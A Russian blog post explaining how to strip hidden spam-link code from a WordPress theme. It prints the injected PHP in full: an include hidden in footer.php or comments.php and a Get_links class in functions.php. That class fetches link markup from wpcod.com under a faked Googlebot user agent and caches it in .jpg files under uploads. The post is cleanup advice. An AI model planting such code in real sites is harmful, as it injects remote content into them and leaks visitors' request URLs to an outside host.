Избавляемся от не нужных скрытых ссылок

da

Избавляемся от не нужных скрытых ссылок

Всем здрасте! У меня в дорах пока что стабильность — ничего не происходит, хотя происходит: робот Яши проиндексил у одного моего дора страницы. Чуть больше 200, но в индекс не отправил… А ведь в блог нужно что-то писать, вот решил написать про то, как избавиться от скрытых ссылок в шаблоне WP.Сам буквально пол месяца с этим сталкнулся, посмотрел на одном сайте, что у моего одного сайта есть ссылки с анкорами, причем они будет увеличиваться по мере пополнения сайта (где-то одна ссылка и три поста).

Как избавиться нашел, к счастью, быстро, но в комментах где было написанно как избавиться от этой фигни, что некоторые месяц не могли найти ответа. Возможно кто-то будет с такой же проблемой, этот пост для вас мои дорогие :)

Заходим в подвал сайта «footer.php«, если там нет то в он спрятан в «comments.php» и удаляем этот код:

<?php $lib_path = dirname(__FILE__).’/’; require_once(‘functions.php’);
?>

Потом идём в «functions.php» нажимаем ctrl+f  вбиваем в строку «class Get_links«. Находим вот такой здоровый кодище:
class Get_links {

var $host = ‘wpcod.com’;
var $path = ‘/system.php’;
var $_socket_timeout = 5;

function get_remote() {
$req_url = ‘http://’.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = «Mozilla/5.0 (compatible; Googlebot/2.1; «.$req_url.»)»;

$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;

@ini_set(‘allow_url_fopen’, 1);
@ini_set(‘default_socket_timeout’, $_socket_timeout);
@ini_set(‘user_agent’, $_user_agent);

if (function_exists(‘file_get_contents’)) {
$opts = array(
‘http’=>array(
‘method’=>»GET»,
‘header’=>»Referer: {$req_url}\r\n».
«User-Agent: {$_user_agent}\r\n»
)
);
$context = stream_context_create($opts);

$data = @file_get_contents(‘http://’ . $host . $path, false, $context);
preg_match(‘/(\<\!—link—\>)(.*?)(\<\!—link—\>)/’, $data, $data);
$data = @$data[2];
return $data;
}
return ‘‘;
}
}

И удаляем его. Также он может быть ещё вот с таким продолжением:

function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.’wp-content/uploads/2014/’.md5($_SERVER['REQUEST_URI']).’.jpg’;
$_cache_lifetime = $links_class->_cache_lifetime;

if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}

Там где написан год и uploads возможно что-то ещё.

Ну вот и всё, наслаждайтесь)))

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Можно использовать следующие HTML-теги и атрибуты: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>